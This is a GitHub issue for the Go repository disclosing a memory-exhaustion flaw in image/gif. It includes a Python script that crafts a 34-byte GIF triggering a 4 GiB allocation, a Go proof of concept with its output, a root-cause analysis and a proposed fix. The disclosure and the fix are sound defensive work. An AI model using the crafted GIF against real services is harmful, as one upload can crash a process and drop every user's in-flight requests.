golang/go

image/gif: improve documentation on how to avoid unexpected allocations by using image.DecodeConfig

Open

#79063 opened on Apr 30, 2026

View on GitHub
 (5 comments) (0 reactions) (0 assignees)Go (133,883 stars) (19,008 forks)batch import
DocumentationNeedsInvestigationhelp wanted

Description

Summary

image/gif allocates a pixel buffer sized directly from GIF header dimensions with no upper bound. A 34-byte malicious GIF triggers a 4 GiB allocation in under 3 ms — before any pixel data is read.

Confirmed on Go 1.26.0 (macOS arm64, Linux amd64).


Reproduction

# gif_craft.py — creates the 34-byte malicious GIF
import struct
W = H = 65535
gif = bytearray()
gif += b'GIF89a'
gif += struct.pack('<HH', W, H)
gif += bytes([0xF0, 0x00, 0x00])
gif += bytes([0,0,0, 255,255,255])
gif += b'\x2C'
gif += struct.pack('<HHHH', 0, 0, W, H)
gif += bytes([0x40, 0x02, 0x01, 0x14, 0x00, 0x3B])
with open('/tmp/malicious.gif', 'wb') as f:
    f.write(gif)
print(f'{len(gif)} bytes written')

// gif_poc.go
package main

import (
    "fmt"
    "image/gif"
    "os"
    "runtime"
    "time"
)

func memMB() uint64 {
    var m runtime.MemStats
    runtime.ReadMemStats(&m)
    return m.Alloc / 1024 / 1024
}

func main() {
    f, _ := os.Open("/tmp/malicious.gif")
    defer f.Close()
    before := memMB()
    start := time.Now()
    _, err := gif.DecodeAll(f)
    fmt.Printf("Before: %d MB\nAfter:  %d MB (delta: +%d MB)\nTime: %v\nError: %v\n",
        before, memMB(), int64(memMB())-int64(before), time.Since(start), err)
}

Output:

Before: 0 MB
After:  4096 MB  (delta: +4096 MB)
Time:   2.503417ms
Error:  gif: not enough image data
The error fires after the 4 GiB allocation. The damage is already done.

Root Cause
newImageFromDescriptor() in src/image/gif/reader.go calls
image.NewPaletted() → pixelBufferLength() → make([]uint8, w*h).

pixelBufferLength() only guards arithmetic overflow (negative result on
32-bit). On 64-bit: 65535 × 65535 = 4,294,836,225 fits in int64 — no panic,
no error, 4 GiB allocated unconditionally.

The logical screen dimensions set in readHeaderAndScreenDescriptor() are
never validated for practical size — only that frame bounds fit within them.

http.MaxBytesReader does not help — the 34-byte body is read in full
before any allocation limit is reached. The allocation comes from header
fields, not pixel data.

encoding/gob received equivalent hardening in Go 1.20 via
saferio.SliceCapWithSize. image/gif did not.

Proposed Fix
In src/image/gif/reader.go, readHeaderAndScreenDescriptor():

const maxGIFPixels = 1 << 26 // 64M pixels ≈ 64 MB (comfortably covers 4K frames)

func (d *decoder) readHeaderAndScreenDescriptor() error {
    // ... existing parsing ...
    d.width  = int(d.tmp[6]) + int(d.tmp[7])<<8
    d.height = int(d.tmp[8]) + int(d.tmp[9])<<8

    if int64(d.width)*int64(d.height) > maxGIFPixels {
        return errors.New("gif: image dimensions too large")
    }
    // ...
}
Bounding the logical screen here covers all frame allocations
(since newImageFromDescriptor enforces frame ≤ logical screen)
including the second buffer allocated by uninterlace().

Impact
Any Go service calling image.Decode() or gif.Decode() on untrusted input
is affected — including applications that import _ "image/gif" indirectly.
One malicious upload OOM-kills the process, terminating all in-flight requests
from all other users simultaneously.

Amplification ratio: 34 bytes → 4,294,836,225 bytes (126,318,712 : 1)

---
**Title to use:**
image/gif: no allocation limit — 34-byte GIF triggers 4 GiB allocation before any pixel data is read

**Label to add:** `Security` (if available), `NeedsInvestigation`

Contributor guide